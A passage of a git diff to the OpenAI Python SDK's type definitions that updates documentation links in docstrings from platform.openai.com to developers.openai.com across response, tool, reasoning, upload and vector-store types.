- [Learn more](https://platform.openai.com/docs/guides/text?api-mode=responses#reusable-prompts).
+ [Learn more](https://developers.openai.com/api/docs/guides/text?api-mode=responses#version-prompts-in-code).
"""
prompt_cache_key: Optional[str] = None
"""
Used by OpenAI to cache responses for similar requests to optimize your cache
hit rates. Replaces the `user` field.
- [Learn more](https://platform.openai.com/docs/guides/prompt-caching).
+ [Learn more](https://developers.openai.com/api/docs/guides/prompt-caching).
"""
prompt_cache_options: Optional[ResponseCreatePromptCacheOptions] = None
@@ -311,7 +311,7 @@ class ResponseCreate(BaseModel):
breakpoints in the conversation, without a content-block lookback limit. Set
`mode` to `explicit` to disable the implicit breakpoint. The `ttl` defaults to
`30m`, which is currently the only supported value. See the
- [prompt caching guide](https://platform.openai.com/docs/guides/prompt-caching)
+ [prompt caching guide](https://developers.openai.com/api/docs/guides/prompt-caching)
for current details.
"""
@@ -321,7 +321,7 @@ class ResponseCreate(BaseModel):
The retention policy for the prompt cache. Set to `24h` to enable extended
prompt caching, which keeps cached prefixes active for longer, up to a maximum
of 24 hours.
- [Learn more](https://platform.openai.com/docs/guides/prompt-caching#prompt-cache-retention).
+ [Learn more](https://developers.openai.com/api/docs/guides/prompt-caching#prompt-cache-retention).
This field expresses a maximum retention policy, while
`prompt_cache_options.ttl` expresses a minimum cache lifetime. The two fields
are independent and do not interact. For `gpt-5.5`, `gpt-5.5-pro`, and future
@@ -338,7 +338,7 @@ class ResponseCreate(BaseModel):
reasoning: Optional[Reasoning] = None
"""
Configuration options for
- [reasoning models](https://platform.openai.com/docs/guides/reasoning).
+ [reasoning models](https://developers.openai.com/api/docs/guides/reasoning).
"""
safety_identifier: Optional[str] = None
@@ -348,7 +348,7 @@ class ResponseCreate(BaseModel):
identifies each user, with a maximum length of 64 characters. We recommend
hashing their username or email address, in order to avoid sending us any
identifying information.
- [Learn more](https://platform.openai.com/docs/guides/safety-best-practices#safety-identifiers).
+ [Learn more](https://developers.openai.com/api/docs/guides/safety-best-practices#implement-safety-identifiers).
"""
service_tier: Optional[ServiceTier] = None
@@ -359,13 +359,15 @@ class ResponseCreate(BaseModel):
will use 'default'.
- If set to 'default', then the request will be processed with the standard
pricing and performance for the selected model.
- - If set to '[flex](https://platform.openai.com/docs/guides/flex-processing)',
- then the request will be processed with the Flex Processing service tier.
- - To opt-in to [Fast mode](/api/docs/guides/fast-mode) at the request level,
- include the `service_tier=fast` or `service_tier=priority` parameter for
- Responses or Chat Completions. The response will show `service_tier=priority`
- regardless of if you specify `service_tier=fast` or `priority` in your
- request.
+ - If set to
+ '[flex](https://developers.openai.com/api/docs/guides/flex-processing)', then
+ the request will be processed with the Flex Processing service tier.
+ - To opt-in to
+ [Fast mode](https://developers.openai.com/api/docs/guides/fast-mode) at the
+ request level, include the `service_tier=fast` or `service_tier=priority`
+ parameter for Responses or Chat Completions. The response will show
+ `service_tier=priority` regardless of if you specify `service_tier=fast` or
+ `priority` in your request.
- If set to 'ultrafast', then the request will be processed with the
access-controlled Ultrafast Processing service tier. This tier is currently
available for `gpt-5.6-sol`; a response served through it will show
@@ -383,7 +385,7 @@ class ResponseCreate(BaseModel):
Defaults to true when omitted. If set to true, response data will be stored for
at least 30 days, subject to the
- [data retention exceptions](/api/docs/guides/your-data#v1responses).
+ [data retention exceptions](https://developers.openai.com/api/docs/guides/your-data#v1responses).
"""
stream: Optional[bool] = None
@@ -392,7 +394,7 @@ class ResponseCreate(BaseModel):
generated using
[server-sent events](https://developer.mozilla.org/en-US/docs/Web/API/Server-sent_events/Using_server-sent_events#Event_stream_format).
See the
- [Streaming section below](https://platform.openai.com/docs/api-reference/responses-streaming)
+ [Streaming section below](https://developers.openai.com/api/reference/resources/responses/streaming-events)
for more information.
"""
@@ -422,8 +424,8 @@ class ResponseCreate(BaseModel):
Can be plain text or structured JSON data. Learn more:
- - [Text inputs and outputs](https://platform.openai.com/docs/guides/text)
- - [Structured Outputs](https://platform.openai.com/docs/guides/structured-outputs)
+ - [Text inputs and outputs](https://developers.openai.com/api/docs/guides/text)
+ - [Structured Outputs](https://developers.openai.com/api/docs/guides/structured-outputs)
"""
tool_choice: Optional[ResponseCreateToolChoice] = None
@@ -442,17 +444,18 @@ class ResponseCreate(BaseModel):
- **Built-in tools**: Tools that are provided by OpenAI that extend the model's
capabilities, like
- [web search](https://platform.openai.com/docs/guides/tools-web-search) or
- [file search](https://platform.openai.com/docs/guides/tools-file-search).
+ [web search](https://developers.openai.com/api/docs/guides/tools-web-search)
+ or
+ [file search](https://developers.openai.com/api/docs/guides/tools-file-search).
Learn more about
- [built-in tools](https://platform.openai.com/docs/guides/tools).
+ [built-in tools](https://developers.openai.com/api/docs/guides/tools).
- **MCP Tools**: Integrations with third-party systems via custom MCP servers or
predefined connectors such as Google Drive and SharePoint. Learn more about
- [MCP Tools](https://platform.openai.com/docs/guides/tools-connectors-mcp).
+ [MCP Tools](https://developers.openai.com/api/docs/guides/tools-connectors-mcp).
- **Function calls (custom tools)**: Functions that are defined by you, enabling
the model to call your own code with strongly typed arguments and outputs.
Learn more about
- [function calling](https://platform.openai.com/docs/guides/function-calling).
+ [function calling](https://developers.openai.com/api/docs/guides/function-calling).
You can also use custom tools to call your own code.
"""
@@ -488,7 +491,7 @@ class ResponseCreate(BaseModel):
Use `prompt_cache_key` instead to maintain caching optimizations. A stable
identifier for your end-users. Used to boost cache hit rates by better bucketing
similar requests and to help OpenAI detect and prevent abuse.
- [Learn more](https://platform.openai.com/docs/guides/safety-best-practices#safety-identifiers).
+ [Learn more](https://developers.openai.com/api/docs/guides/safety-best-practices#implement-safety-identifiers).
"""
diff --git a/src/openai/types/responses/responses_client_event_param.py b/src/openai/types/responses/responses_client_event_param.py
index b0b68c50e5..ee7d344d3b 100644
--- a/src/openai/types/responses/responses_client_event_param.py
+++ b/src/openai/types/responses/responses_client_event_param.py
@@ -105,7 +105,7 @@ class ResponseCreateModeration(TypedDict, total=False):
class ResponseCreatePromptCacheOptions(TypedDict, total=False):
"""Options for prompt caching.
- Supported for `gpt-5.6` and later models. By default, OpenAI automatically chooses one implicit cache breakpoint. You can add explicit breakpoints to content blocks with `prompt_cache_breakpoint`. Each request can write up to four breakpoints. For cache matching, OpenAI considers up to the latest 80 breakpoints in the conversation, without a content-block lookback limit. Set `mode` to `explicit` to disable the implicit breakpoint. The `ttl` defaults to `30m`, which is currently the only supported value. See the [prompt caching guide](https://platform.openai.com/docs/guides/prompt-caching) for current details.
+ Supported for `gpt-5.6` and later models. By default, OpenAI automatically chooses one implicit cache breakpoint. You can add explicit breakpoints to content blocks with `prompt_cache_breakpoint`. Each request can write up to four breakpoints. For cache matching, OpenAI considers up to the latest 80 breakpoints in the conversation, without a content-block lookback limit. Set `mode` to `explicit` to disable the implicit breakpoint. The `ttl` defaults to `30m`, which is currently the only supported value. See the [prompt caching guide](https://developers.openai.com/api/docs/guides/prompt-caching) for current details.
"""
comparison_response_id: Optional[str]
@@ -184,7 +184,7 @@ class ResponseCreate(TypedDict, total=False):
background: Optional[bool]
"""
Whether to run the model response in the background.
- [Learn more](https://platform.openai.com/docs/guides/background).
+ [Learn more](https://developers.openai.com/api/docs/guides/background).
"""
context_management: Optional[Iterable[ResponseCreateContextManagement]]
@@ -225,11 +225,11 @@ class ResponseCreate(TypedDict, total=False):
Learn more:
- - [Text inputs and outputs](https://platform.openai.com/docs/guides/text)
- - [Image inputs](https://platform.openai.com/docs/guides/images)
- - [File inputs](https://platform.openai.com/docs/guides/pdf-files)
- - [Conversation state](https://platform.openai.com/docs/guides/conversation-state)
- - [Function calling](https://platform.openai.com/docs/guides/function-calling)
+ - [Text inputs and outputs](https://developers.openai.com/api/docs/guides/text)
+ - [Image inputs](https://developers.openai.com/api/docs/guides/images-vision)
+ - [File inputs](https://developers.openai.com/api/docs/guides/file-inputs)
+ - [Conversation state](https://developers.openai.com/api/docs/guides/conversation-state)
+ - [Function calling](https://developers.openai.com/api/docs/guides/function-calling)
"""
instructions: Optional[str]
@@ -244,7 +244,7 @@ class ResponseCreate(TypedDict, total=False):
"""
An upper bound for the number of tokens that can be generated for a response,
including visible output tokens and
- [reasoning tokens](https://platform.openai.com/docs/guides/reasoning).
+ [reasoning tokens](https://developers.openai.com/api/docs/guides/reasoning).
"""
max_tool_calls: Optional[int]
@@ -270,8 +270,8 @@ class ResponseCreate(TypedDict, total=False):
OpenAI offers a wide range of models with different capabilities, performance
characteristics, and price points. Refer to the
- [model guide](https://platform.openai.com/docs/models) to browse and compare
- available models.
+ [model guide](https://developers.openai.com/api/docs/models) to browse and
+ compare available models.
"""
moderation: Optional[ResponseCreateModeration]
@@ -284,21 +284,21 @@ class ResponseCreate(TypedDict, total=False):
"""The unique ID of the previous response to the model.
Use this to create multi-turn conversations. Learn more about
- [conversation state](https://platform.openai.com/docs/guides/conversation-state).
+ [conversation state](https://developers.openai.com/api/docs/guides/conversation-state).
Cannot be used in conjunction with `conversation`.
"""
prompt: Optional[ResponsePromptParam]
"""
Reference to a prompt template and its variables.
- [Learn more](https://platform.openai.com/docs/guides/text?api-mode=responses#reusable-prompts).
+ [Learn more](https://developers.openai.com/api/docs/guides/text?api-mode=responses#version-prompts-in-code).
"""
prompt_cache_key: Optional[str]
"""
Used by OpenAI to cache responses for similar requests to optimize your cache
hit rates. Replaces the `user` field.
- [Learn more](https://platform.openai.com/docs/guides/prompt-caching).
+ [Learn more](https://developers.openai.com/api/docs/guides/prompt-caching).
"""
prompt_cache_options: ResponseCreatePromptCacheOptions
@@ -311,7 +311,7 @@ class ResponseCreate(TypedDict, total=False):
breakpoints in the conversation, without a content-block lookback limit. Set
`mode` to `explicit` to disable the implicit breakpoint. The `ttl` defaults to
`30m`, which is currently the only supported value. See the
- [prompt caching guide](https://platform.openai.com/docs/guides/prompt-caching)
+ [prompt caching guide](https://developers.openai.com/api/docs/guides/prompt-caching)
for current details.
"""
@@ -321,7 +321,7 @@ class ResponseCreate(TypedDict, total=False):
The retention policy for the prompt cache. Set to `24h` to enable extended
prompt caching, which keeps cached prefixes active for longer, up to a maximum
of 24 hours.
- [Learn more](https://platform.openai.com/docs/guides/prompt-caching#prompt-cache-retention).
+ [Learn more](https://developers.openai.com/api/docs/guides/prompt-caching#prompt-cache-retention).
This field expresses a maximum retention policy, while
`prompt_cache_options.ttl` expresses a minimum cache lifetime. The two fields
are independent and do not interact. For `gpt-5.5`, `gpt-5.5-pro`, and future
@@ -338,7 +338,7 @@ class ResponseCreate(TypedDict, total=False):
reasoning: Optional[Reasoning]
"""
Configuration options for
- [reasoning models](https://platform.openai.com/docs/guides/reasoning).
+ [reasoning models](https://developers.openai.com/api/docs/guides/reasoning).
"""
safety_identifier: Optional[str]
@@ -348,7 +348,7 @@ class ResponseCreate(TypedDict, total=False):
identifies each user, with a maximum length of 64 characters. We recommend
hashing their username or email address, in order to avoid sending us any
identifying information.
- [Learn more](https://platform.openai.com/docs/guides/safety-best-practices#safety-identifiers).
+ [Learn more](https://developers.openai.com/api/docs/guides/safety-best-practices#implement-safety-identifiers).
"""
service_tier: Optional[ServiceTier]
@@ -359,13 +359,15 @@ class ResponseCreate(TypedDict, total=False):
will use 'default'.
- If set to 'default', then the request will be processed with the standard
pricing and performance for the selected model.
- - If set to '[flex](https://platform.openai.com/docs/guides/flex-processing)',
- then the request will be processed with the Flex Processing service tier.
- - To opt-in to [Fast mode](/api/docs/guides/fast-mode) at the request level,
- include the `service_tier=fast` or `service_tier=priority` parameter for
- Responses or Chat Completions. The response will show `service_tier=priority`
- regardless of if you specify `service_tier=fast` or `priority` in your
- request.
+ - If set to
+ '[flex](https://developers.openai.com/api/docs/guides/flex-processing)', then
+ the request will be processed with the Flex Processing service tier.
+ - To opt-in to
+ [Fast mode](https://developers.openai.com/api/docs/guides/fast-mode) at the
+ request level, include the `service_tier=fast` or `service_tier=priority`
+ parameter for Responses or Chat Completions. The response will show
+ `service_tier=priority` regardless of if you specify `service_tier=fast` or
+ `priority` in your request.
- If set to 'ultrafast', then the request will be processed with the
access-controlled Ultrafast Processing service tier. This tier is currently
available for `gpt-5.6-sol`; a response served through it will show
@@ -383,7 +385,7 @@ class ResponseCreate(TypedDict, total=False):
Defaults to true when omitted. If set to true, response data will be stored for
at least 30 days, subject to the
- [data retention exceptions](/api/docs/guides/your-data#v1responses).
+ [data retention exceptions](https://developers.openai.com/api/docs/guides/your-data#v1responses).
"""
stream: Optional[bool]
@@ -392,7 +394,7 @@ class ResponseCreate(TypedDict, total=False):
generated using
[server-sent events](https://developer.mozilla.org/en-US/docs/Web/API/Server-sent_events/Using_server-sent_events#Event_stream_format).
See the
- [Streaming section below](https://platform.openai.com/docs/api-reference/responses-streaming)
+ [Streaming section below](https://developers.openai.com/api/reference/resources/responses/streaming-events)
for more information.
"""
@@ -422,8 +424,8 @@ class ResponseCreate(TypedDict, total=False):
Can be plain text or structured JSON data. Learn more:
- - [Text inputs and outputs](https://platform.openai.com/docs/guides/text)
- - [Structured Outputs](https://platform.openai.com/docs/guides/structured-outputs)
+ - [Text inputs and outputs](https://developers.openai.com/api/docs/guides/text)
+ - [Structured Outputs](https://developers.openai.com/api/docs/guides/structured-outputs)
"""
tool_choice: ResponseCreateToolChoice
@@ -442,17 +444,18 @@ class ResponseCreate(TypedDict, total=False):
- **Built-in tools**: Tools that are provided by OpenAI that extend the model's
capabilities, like
- [web search](https://platform.openai.com/docs/guides/tools-web-search) or
- [file search](https://platform.openai.com/docs/guides/tools-file-search).
+ [web search](https://developers.openai.com/api/docs/guides/tools-web-search)
+ or
+ [file search](https://developers.openai.com/api/docs/guides/tools-file-search).
Learn more about
- [built-in tools](https://platform.openai.com/docs/guides/tools).
+ [built-in tools](https://developers.openai.com/api/docs/guides/tools).
- **MCP Tools**: Integrations with third-party systems via custom MCP servers or
predefined connectors such as Google Drive and SharePoint. Learn more about
- [MCP Tools](https://platform.openai.com/docs/guides/tools-connectors-mcp).
+ [MCP Tools](https://developers.openai.com/api/docs/guides/tools-connectors-mcp).
- **Function calls (custom tools)**: Functions that are defined by you, enabling
the model to call your own code with strongly typed arguments and outputs.
Learn more about
- [function calling](https://platform.openai.com/docs/guides/function-calling).
+ [function calling](https://developers.openai.com/api/docs/guides/function-calling).
You can also use custom tools to call your own code.
"""
@@ -488,7 +491,7 @@ class ResponseCreate(TypedDict, total=False):
Use `prompt_cache_key` instead to maintain caching optimizations. A stable
identifier for your end-users. Used to boost cache hit rates by better bucketing
similar requests and to help OpenAI detect and prevent abuse.
- [Learn more](https://platform.openai.com/docs/guides/safety-best-practices#safety-identifiers).
+ [Learn more](https://developers.openai.com/api/docs/guides/safety-best-practices#implement-safety-identifiers).
"""
diff --git a/src/openai/types/responses/tool.py b/src/openai/types/responses/tool.py
index 68e6d348ae..a01ae75018 100644
--- a/src/openai/types/responses/tool.py
+++ b/src/openai/types/responses/tool.py
@@ -113,7 +113,7 @@ class McpRequireApprovalMcpToolApprovalFilter(BaseModel):
class Mcp(BaseModel):
"""
Give the model access to additional tools via remote Model Context Protocol
- (MCP) servers. [Learn more about MCP](https://platform.openai.com/docs/guides/tools-remote-mcp).
+ (MCP) servers. [Learn more about MCP](https://developers.openai.com/api/docs/guides/tools-connectors-mcp).
"""
server_label: str
@@ -151,7 +151,7 @@ class Mcp(BaseModel):
One of `server_url`, `connector_id`, or `tunnel_id` must be provided. Learn more
about service connectors
- [here](https://platform.openai.com/docs/guides/tools-remote-mcp#connectors).
+ [here](https://developers.openai.com/api/docs/guides/tools-connectors-mcp#connectors).
Currently supported `connector_id` values are:
diff --git a/src/openai/types/responses/tool_choice_types.py b/src/openai/types/responses/tool_choice_types.py
index 15bca1975a..1b545a4df1 100644
--- a/src/openai/types/responses/tool_choice_types.py
+++ b/src/openai/types/responses/tool_choice_types.py
@@ -10,7 +10,7 @@
class ToolChoiceTypes(BaseModel):
"""
Indicates that the model should use a built-in tool to generate a response.
- [Learn more about built-in tools](https://platform.openai.com/docs/guides/tools).
+ [Learn more about built-in tools](https://developers.openai.com/api/docs/guides/tools).
"""
type: Literal[
@@ -26,7 +26,7 @@ class ToolChoiceTypes(BaseModel):
"""The type of hosted tool the model should to use.
Learn more about
- [built-in tools](https://platform.openai.com/docs/guides/tools).
+ [built-in tools](https://developers.openai.com/api/docs/guides/tools).
Allowed values are:
diff --git a/src/openai/types/responses/tool_choice_types_param.py b/src/openai/types/responses/tool_choice_types_param.py
index a3057ee608..4b56501416 100644
--- a/src/openai/types/responses/tool_choice_types_param.py
+++ b/src/openai/types/responses/tool_choice_types_param.py
@@ -10,7 +10,7 @@
class ToolChoiceTypesParam(TypedDict, total=False):
"""
Indicates that the model should use a built-in tool to generate a response.
- [Learn more about built-in tools](https://platform.openai.com/docs/guides/tools).
+ [Learn more about built-in tools](https://developers.openai.com/api/docs/guides/tools).
"""
type: Required[
@@ -28,7 +28,7 @@ class ToolChoiceTypesParam(TypedDict, total=False):
"""The type of hosted tool the model should to use.
Learn more about
- [built-in tools](https://platform.openai.com/docs/guides/tools).
+ [built-in tools](https://developers.openai.com/api/docs/guides/tools).
Allowed values are:
diff --git a/src/openai/types/responses/tool_param.py b/src/openai/types/responses/tool_param.py
index 860a255bda..b529603428 100644
--- a/src/openai/types/responses/tool_param.py
+++ b/src/openai/types/responses/tool_param.py
@@ -115,7 +115,7 @@ class McpRequireApprovalMcpToolApprovalFilter(TypedDict, total=False):
class Mcp(TypedDict, total=False):
"""
Give the model access to additional tools via remote Model Context Protocol
- (MCP) servers. [Learn more about MCP](https://platform.openai.com/docs/guides/tools-remote-mcp).
+ (MCP) servers. [Learn more about MCP](https://developers.openai.com/api/docs/guides/tools-connectors-mcp).
"""
server_label: Required[str]
@@ -151,7 +151,7 @@ class Mcp(TypedDict, total=False):
One of `server_url`, `connector_id`, or `tunnel_id` must be provided. Learn more
about service connectors
- [here](https://platform.openai.com/docs/guides/tools-remote-mcp#connectors).
+ [here](https://developers.openai.com/api/docs/guides/tools-connectors-mcp#connectors).
Currently supported `connector_id` values are:
diff --git a/src/openai/types/responses/web_search_preview_tool.py b/src/openai/types/responses/web_search_preview_tool.py
index 05f96b6cdc..0de61b2821 100644
--- a/src/openai/types/responses/web_search_preview_tool.py
+++ b/src/openai/types/responses/web_search_preview_tool.py
@@ -36,7 +36,7 @@ class UserLocation(BaseModel):
class WebSearchPreviewTool(BaseModel):
"""This tool searches the web for relevant results to use in a response.
- Learn more about the [web search tool](https://platform.openai.com/docs/guides/tools-web-search).
+ Learn more about the [web search tool](https://developers.openai.com/api/docs/guides/tools-web-search).
"""
type: Literal["web_search_preview", "web_search_preview_2025_03_11"]
diff --git a/src/openai/types/responses/web_search_preview_tool_param.py b/src/openai/types/responses/web_search_preview_tool_param.py
index 849625921a..d18068586a 100644
--- a/src/openai/types/responses/web_search_preview_tool_param.py
+++ b/src/openai/types/responses/web_search_preview_tool_param.py
@@ -36,7 +36,7 @@ class UserLocation(TypedDict, total=False):
class WebSearchPreviewToolParam(TypedDict, total=False):
"""This tool searches the web for relevant results to use in a response.
- Learn more about the [web search tool](https://platform.openai.com/docs/guides/tools-web-search).
+ Learn more about the [web search tool](https://developers.openai.com/api/docs/guides/tools-web-search).
"""
type: Required[Literal["web_search_preview", "web_search_preview_2025_03_11"]]
diff --git a/src/openai/types/responses/web_search_tool.py b/src/openai/types/responses/web_search_tool.py
index 0fe2fb8f4f..f6323e6642 100644
--- a/src/openai/types/responses/web_search_tool.py
+++ b/src/openai/types/responses/web_search_tool.py
@@ -50,7 +50,7 @@ class WebSearchTool(BaseModel):
"""Search the Internet for sources related to the prompt.
Learn more about the
- [web search tool](https://platform.openai.com/docs/guides/tools-web-search).
+ [web search tool](https://developers.openai.com/api/docs/guides/tools-web-search).
"""
type: Literal["web_search", "web_search_2025_08_26"]
diff --git a/src/openai/types/responses/web_search_tool_param.py b/src/openai/types/responses/web_search_tool_param.py
index 4ecb7b86fa..1129babeab 100644
--- a/src/openai/types/responses/web_search_tool_param.py
+++ b/src/openai/types/responses/web_search_tool_param.py
@@ -52,7 +52,7 @@ class WebSearchToolParam(TypedDict, total=False):
"""Search the Internet for sources related to the prompt.
Learn more about the
- [web search tool](https://platform.openai.com/docs/guides/tools-web-search).
+ [web search tool](https://developers.openai.com/api/docs/guides/tools-web-search).
"""
type: Required[Literal["web_search", "web_search_2025_08_26"]]
diff --git a/src/openai/types/shared/function_definition.py b/src/openai/types/shared/function_definition.py
index 55588d9942..b7bbc98eb9 100644
--- a/src/openai/types/shared/function_definition.py
+++ b/src/openai/types/shared/function_definition.py
@@ -25,8 +25,8 @@ class FunctionDefinition(BaseModel):
parameters: Optional[FunctionParameters] = None
"""The parameters the functions accepts, described as a JSON Schema object.
- See the [guide](https://platform.openai.com/docs/guides/function-calling) for
- examples, and the
+ See the [guide](https://developers.openai.com/api/docs/guides/function-calling)
+ for examples, and the
[JSON Schema reference](https://json-schema.org/understanding-json-schema/) for
documentation about the format.
@@ -39,5 +39,5 @@ class FunctionDefinition(BaseModel):
If set to true, the model will follow the exact schema defined in the
`parameters` field. Only a subset of JSON Schema is supported when `strict` is
`true`. Learn more about Structured Outputs in the
- [function calling guide](https://platform.openai.com/docs/guides/function-calling).
+ [function calling guide](https://developers.openai.com/api/docs/guides/function-calling).
"""
diff --git a/src/openai/types/shared/reasoning.py b/src/openai/types/shared/reasoning.py
index a4c08902be..d3a642fad2 100644
--- a/src/openai/types/shared/reasoning.py
+++ b/src/openai/types/shared/reasoning.py
@@ -12,7 +12,7 @@
class Reasoning(BaseModel):
"""
Configuration options for
- [reasoning models](https://platform.openai.com/docs/guides/reasoning).
+ [reasoning models](https://developers.openai.com/api/docs/guides/reasoning).
"""
context: Optional[Literal["auto", "current_turn", "all_turns"]] = None
@@ -32,7 +32,7 @@ class Reasoning(BaseModel):
`xhigh`, and `max`. Reducing reasoning effort can result in faster responses and
fewer tokens used on reasoning in a response. Not all reasoning models support
every value. See the
- [reasoning guide](https://platform.openai.com/docs/guides/reasoning) for
+ [reasoning guide](https://developers.openai.com/api/docs/guides/reasoning) for
model-specific support.
"""
diff --git a/src/openai/types/shared/response_format_json_schema.py b/src/openai/types/shared/response_format_json_schema.py
index d75ad8e560..2e9a924d97 100644
--- a/src/openai/types/shared/response_format_json_schema.py
+++ b/src/openai/types/shared/response_format_json_schema.py
@@ -38,7 +38,7 @@ class JSONSchema(BaseModel):
true, the model will always follow the exact schema defined in the `schema`
field. Only a subset of JSON Schema is supported when `strict` is `true`. To
learn more, read the
- [Structured Outputs guide](https://platform.openai.com/docs/guides/structured-outputs).
+ [Structured Outputs guide](https://developers.openai.com/api/docs/guides/structured-outputs).
"""
@@ -46,7 +46,7 @@ class ResponseFormatJSONSchema(BaseModel):
"""JSON Schema response format.
Used to generate structured JSON responses.
- Learn more about [Structured Outputs](https://platform.openai.com/docs/guides/structured-outputs).
+ Learn more about [Structured Outputs](https://developers.openai.com/api/docs/guides/structured-outputs).
"""
json_schema: JSONSchema
diff --git a/src/openai/types/shared/response_format_text_grammar.py b/src/openai/types/shared/response_format_text_grammar.py
index 0800eb119f..cfabbb5870 100644
--- a/src/openai/types/shared/response_format_text_grammar.py
+++ b/src/openai/types/shared/response_format_text_grammar.py
@@ -10,7 +10,7 @@
class ResponseFormatTextGrammar(BaseModel):
"""
A custom grammar for the model to follow when generating text.
- Learn more in the [custom grammars guide](https://platform.openai.com/docs/guides/custom-grammars).
+ Learn more in the [custom grammars guide](https://developers.openai.com/api/docs/guides/function-calling#context-free-grammars).
"""
grammar: str
diff --git a/src/openai/types/shared/response_format_text_python.py b/src/openai/types/shared/response_format_text_python.py
index 49b7c11bfa..45b0288f8a 100644
--- a/src/openai/types/shared/response_format_text_python.py
+++ b/src/openai/types/shared/response_format_text_python.py
@@ -11,7 +11,7 @@ class ResponseFormatTextPython(BaseModel):
"""Configure the model to generate valid Python code.
See the
- [custom grammars guide](https://platform.openai.com/docs/guides/custom-grammars) for more details.
+ [custom grammars guide](https://developers.openai.com/api/docs/guides/function-calling#context-free-grammars) for more details.
"""
type: Literal["python"]
diff --git a/src/openai/types/shared_params/function_definition.py b/src/openai/types/shared_params/function_definition.py
index 86cfda2817..8837687028 100644
--- a/src/openai/types/shared_params/function_definition.py
+++ b/src/openai/types/shared_params/function_definition.py
@@ -27,8 +27,8 @@ class FunctionDefinition(TypedDict, total=False):
parameters: FunctionParameters
"""The parameters the functions accepts, described as a JSON Schema object.
- See the [guide](https://platform.openai.com/docs/guides/function-calling) for
- examples, and the
+ See the [guide](https://developers.openai.com/api/docs/guides/function-calling)
+ for examples, and the
[JSON Schema reference](https://json-schema.org/understanding-json-schema/) for
documentation about the format.
@@ -41,5 +41,5 @@ class FunctionDefinition(TypedDict, total=False):
If set to true, the model will follow the exact schema defined in the
`parameters` field. Only a subset of JSON Schema is supported when `strict` is
`true`. Learn more about Structured Outputs in the
- [function calling guide](https://platform.openai.com/docs/guides/function-calling).
+ [function calling guide](https://developers.openai.com/api/docs/guides/function-calling).
"""
diff --git a/src/openai/types/shared_params/reasoning.py b/src/openai/types/shared_params/reasoning.py
index a69b5be752..e3bbf8d25d 100644
--- a/src/openai/types/shared_params/reasoning.py
+++ b/src/openai/types/shared_params/reasoning.py
@@ -13,7 +13,7 @@
class Reasoning(TypedDict, total=False):
"""
Configuration options for
- [reasoning models](https://platform.openai.com/docs/guides/reasoning).
+ [reasoning models](https://developers.openai.com/api/docs/guides/reasoning).
"""
context: Optional[Literal["auto", "current_turn", "all_turns"]]
@@ -33,7 +33,7 @@ class Reasoning(TypedDict, total=False):
`xhigh`, and `max`. Reducing reasoning effort can result in faster responses and
fewer tokens used on reasoning in a response. Not all reasoning models support
every value. See the
- [reasoning guide](https://platform.openai.com/docs/guides/reasoning) for
+ [reasoning guide](https://developers.openai.com/api/docs/guides/reasoning) for
model-specific support.
"""
diff --git a/src/openai/types/shared_params/response_format_json_schema.py b/src/openai/types/shared_params/response_format_json_schema.py
index c9e5a2bf5f..2b6bbdc3e6 100644
--- a/src/openai/types/shared_params/response_format_json_schema.py
+++ b/src/openai/types/shared_params/response_format_json_schema.py
@@ -36,7 +36,7 @@ class JSONSchema(TypedDict, total=False):
true, the model will always follow the exact schema defined in the `schema`
field. Only a subset of JSON Schema is supported when `strict` is `true`. To
learn more, read the
- [Structured Outputs guide](https://platform.openai.com/docs/guides/structured-outputs).
+ [Structured Outputs guide](https://developers.openai.com/api/docs/guides/structured-outputs).
"""
@@ -44,7 +44,7 @@ class ResponseFormatJSONSchema(TypedDict, total=False):
"""JSON Schema response format.
Used to generate structured JSON responses.
- Learn more about [Structured Outputs](https://platform.openai.com/docs/guides/structured-outputs).
+ Learn more about [Structured Outputs](https://developers.openai.com/api/docs/guides/structured-outputs).
"""
json_schema: Required[JSONSchema]
diff --git a/src/openai/types/upload.py b/src/openai/types/upload.py
index 060fb09bb6..8b57923c6c 100644
--- a/src/openai/types/upload.py
+++ b/src/openai/types/upload.py
@@ -33,7 +33,7 @@ class Upload(BaseModel):
purpose: str
"""The intended purpose of the file.
- [Please refer here](https://platform.openai.com/docs/api-reference/files/object#files/object-purpose)
+ [Please refer here](https://developers.openai.com/api/reference/resources/files#%28resource%29%20files%20%3E%20%28model%29%20file_object%20%3E%20%28schema%29%20%3E%20%28property%29%20purpose)
for acceptable values.
"""
diff --git a/src/openai/types/upload_create_params.py b/src/openai/types/upload_create_params.py
index d2c41688db..0a43068e5c 100644
--- a/src/openai/types/upload_create_params.py
+++ b/src/openai/types/upload_create_params.py
@@ -27,7 +27,7 @@ class UploadCreateParams(TypedDict, total=False):
"""The intended purpose of the uploaded file.
See the
- [documentation on File purposes](https://platform.openai.com/docs/api-reference/files/create#files-create-purpose).
+ [documentation on File purposes](https://developers.openai.com/api/reference/resources/files/methods/create#%28resource%29%20files%20%3E%20%28method%29%20create%20%3E%20%28params%29%200%20%3E%20%28param%29%20purpose%20%3E%20%28schema%29).
"""
expires_after: ExpiresAfter
diff --git a/src/openai/types/vector_store_create_params.py b/src/openai/types/vector_store_create_params.py
index 3421e7e52e..0f6e25826f 100644
--- a/src/openai/types/vector_store_create_params.py
+++ b/src/openai/types/vector_store_create_params.py
@@ -31,9 +31,9 @@ class VectorStoreCreateParams(TypedDict, total=False):
file_ids: SequenceNotStr[str]
"""
- A list of [File](https://platform.openai.com/docs/api-reference/files) IDs that
- the vector store should use. Useful for tools like `file_search` that can access
- files.
+ A list of [File](https://developers.openai.com/api/reference/resources/files)
+ IDs that the vector store should use. Useful for tools like `file_search` that
+ can access files.
"""
metadata: Optional[Metadata]
diff --git a/src/openai/types/vector_stores/file_batch_create_params.py b/src/openai/types/vector_stores/file_batch_create_params.py
index dc3aad103c..0654588d93 100644
--- a/src/openai/types/vector_stores/file_batch_create_params.py
+++ b/src/openai/types/vector_stores/file_batch_create_params.py
@@ -30,12 +30,12 @@ class FileBatchCreateParams(TypedDict, total=False):
file_ids: SequenceNotStr[str]
"""
- A list of [File](https://platform.openai.com/docs/api-reference/files) IDs that
- the vector store should use. Useful for tools like `file_search` that can access
- files. If `attributes` or `chunking_strategy` are provided, they will be applied
- to all files in the batch. The maximum batch size is 2000 files. This endpoint
- is recommended for multi-file ingestion and helps reduce per-vector-store write
- request pressure. Mutually exclusive with `files`.
+ A list of [File](https://developers.openai.com/api/reference/resources/files)
+ IDs that the vector store should use. Useful for tools like `file_search` that
+ can access files. If `attributes` or `chunking_strategy` are provided, they will
+ be applied to all files in the batch. The maximum batch size is 2000 files. This
+ endpoint is recommended for multi-file ingestion and helps reduce
+ per-vector-store write request pressure. Mutually exclusive with `files`.
"""
files: Iterable[File]
@@ -52,10 +52,10 @@ class FileBatchCreateParams(TypedDict, total=False):
class File(TypedDict, total=False):
file_id: Required[str]
"""
